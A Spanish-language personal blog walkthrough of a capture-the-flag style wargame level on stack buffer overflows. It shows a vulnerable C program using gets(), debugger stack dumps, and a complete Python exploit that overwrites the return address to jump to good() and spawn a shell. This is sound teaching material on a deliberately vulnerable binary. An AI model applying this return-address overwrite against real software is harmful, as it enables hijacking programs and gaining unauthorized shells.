Grunt's personal blog

this is my personal blog for my hacking stuff, my degree stuff, etc

View on GitHub

La Dirección de Retorno

En capitulos anteriores, mencionamos que la control flow metadata se almacena en la pila. La dirección de retorno es la pieza más interesante de metadata para nuestros propósitos, porque define directamente qué código se ejecutará después de que una función en particular termine de ejecutarse.

En este nivel, examinaremos la dirección de retorno con más detalle y combinaremos ese conocimiento con lo que aprendimos sobre la corrupción de memoria para tomar directamente el control de un binario.


Código fuente

// gcc -g -no-pie -fno-stack-protector -I ../includes -o return return.c
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <inttypes.h>

// Oculto por simplicidad
#include "wargames.h"
#include "return.h"

void good()
{
    printf("Correct!\n");
    system("/bin/sh");
    exit(1);
}

void main()
{
    init_wargame();

    printf("------------------------------------------------------------\n");
    printf("--[ Stack Smashing - Return Address                         \n");
    printf("------------------------------------------------------------\n");
    
    char buffer[32] = {};

    // Leer entrada del usuario desde STDIN, en un buffer en la pila
    printf("Enter data: ");
    gets(buffer);

    // Mostrar una visualización del marco de pila actual
    visualize_stack((uint8_t *)&buffer);

    // Salir del programa / retornar desde main
}


Corrupción del Flujo de Control

En el nivel anterior, aprendimos a controlar datos en la pila mediante corrupción de memoria.

Esto ya es un primitivo muy poderoso, ¡pero podemos llevarlo aún más lejos! En esta lección, usaremos este concepto para tomar control de la ejecución del programa. Para comenzar, ejecuta el binario y proporciona menos de 32 bytes de entrada.

ret2systems, inc. -- 9600 Baud TTY

wargames-gdb -q 03_return

Connecting to remote debugging session...

Loading binary '03_return'...

wdb> run

Started '03_return'

------------------------------------------------------------

--[ Stack Smashing - Return Address                         

------------------------------------------------------------

Enter data: 

>> AAAAA

------------------------------------------------------------

--[ Stack Visualization                     

------------------------------------------------------------

Dirección Contenido Descripción
0x7fffffffedb0 41 41 41 41 41 00 00 00 Inicio del buffer
0x7fffffffedb8 00 00 00 00 00 00 00 00  
0x7fffffffedc0 00 00 00 00 00 00 00 00  
0x7fffffffedc8 00 00 00 00 00 00 00 00  
0x7fffffffedd0 00 00 00 00 00 00 00 00  
0x7fffffffedd8 00 14 40 00 00 00 00 00 Valor de RBP anterior
0x7fffffffede0 30 88 24 00 00 7F 00 00 Dirección de retorno

Nota: La pila crece hacia direcciones más bajas (UPWARDS).

------------------------------------------------------------

==== EXECUTION FINISHED ====

wdb>

Entendiendo la Pila

La pila crece hacia direcciones de memoria más bajas. Cada vez que se llama a una función, se crea un marco de pila con:

La Dirección de Retorno

Resaltado en rojo está la dirección de retorno de main().

La dirección de retorno es un puntero colocado en la parte superior de la pila cada vez que se ejecuta una instrucción call. Esta dirección apunta a la instrucción inmediatamente después de un call.

Cuando una función termina de ejecutarse, la instrucción ret saca la dirección de retorno de la pila y la coloca en rip, permitiendo que la ejecución continúe como se espera.

Veamos esto en acción, coloca un punto de interrupción en la instrucción ret en main, luego ejecuta el binario nuevamente.

El programa está a punto de retornar desde main(). Presta atención a la dirección de retorno mostrada en la visualización.

Avancemos esta instrucción y veamos qué sucede:

wdb> si

Nota que la dirección resaltada es la misma que la que está en la pila.

La instrucción ret “saca” la palabra cuádruple superior de la pila y la coloca en el puntero de instrucción.

Si te preguntas por qué la dirección parece “extraña”, es porque es un puntero a libc_start_main, la función de biblioteca responsable de inicializar y ejecutar main().

Libc está mapeada en una región de memoria diferente a nuestro binario por diseño, por lo que los punteros a ella “se ven diferentes” de lo que hemos visto hasta ahora.


La idea principal a la que queremos llegar es que puedes corromper la dirección de retorno de la misma manera que corrompimos las variables de la pila en la lección anterior.

Para continuar con la lección, haz que el programa falle corrompiendo la dirección de retorno.


Retorno a good()

Para finalizar el nivel, obtén la dirección de good() del desensamblador y redirige la ejecución hacia ella. Una vez que lo hayas hecho, deberías tener un shell. Usa el comando cat para leer el archivo de la bandera y completar el nivel.

Explotando la Dirección de Retorno

La vulnerabilidad en gets() permite escribir más allá de los 32 bytes del buffer, sobrescribiendo el RBP anterior y la dirección de retorno. Nuestro objetivo es sobrescribir la dirección de retorno con la dirección de good() (0x401358) para que ret salte a esta función.

Pasos para la Explotación

  1. Calcular el offset:
    • Buffer: 32 bytes.
    • RBP anterior: 8 bytes.
    • Total: 40 bytes para llegar a la dirección de retorno.
  2. Obtener la dirección de good():
    • Usando gdb, determinamos que good() está en 0x401358.
  3. Construir el payload:
    • 40 bytes de relleno (por ejemplo, A repetidas).
    • 8 bytes con la dirección de good() en formato little-endian.
  4. Enviar el payload: Automatizamos con un script en Python.
import interact
import struct

# Convierte un entero en 8 bytes (little-endian)
def p64(n):
    return struct.pack('Q', n)

# Convierte 8 bytes en un entero
def u64(s):
    return struct.unpack('Q', s)[0]

# Inicializa la interacción con el proceso
p = interact.Process()

# Dirección de la función good()
good_addr = 0x401358
# Offset para llegar a la dirección de retorno (32 bytes buffer + 8 bytes RBP)
offset = 40

# Construye el payload: 40 bytes de relleno + dirección de good()
payload = (b'A' * offset) + p64(good_addr)

# Espera el prompt y envía el payload
p.readuntil(b'Enter data: ')
p.sendline(payload)

# Espera la visualización de la pila
p.readuntil(b'------------------------------------------------------------\n')

# Cambia a modo interactivo para usar la shell
p.interactive()

Explicación del Script


Efecto del Exploit en la Pila

Tras enviar el payload, la pila se verá así:

Dirección Contenido Descripción
0x7fffffffedb0 41 41 41 41 41 ... Inicio del buffer (AAAA…)
41 41 41 41 41 ... Resto del buffer
0x7fffffffedd8 41 41 41 41 41 41 41 41 RBP anterior (sobrescrito)
0x7fffffffede0 58 13 40 00 00 00 00 00 Dirección de good()

Al ejecutar ret, rip se carga con 0x401358, ejecutando good() y abriendo una shell.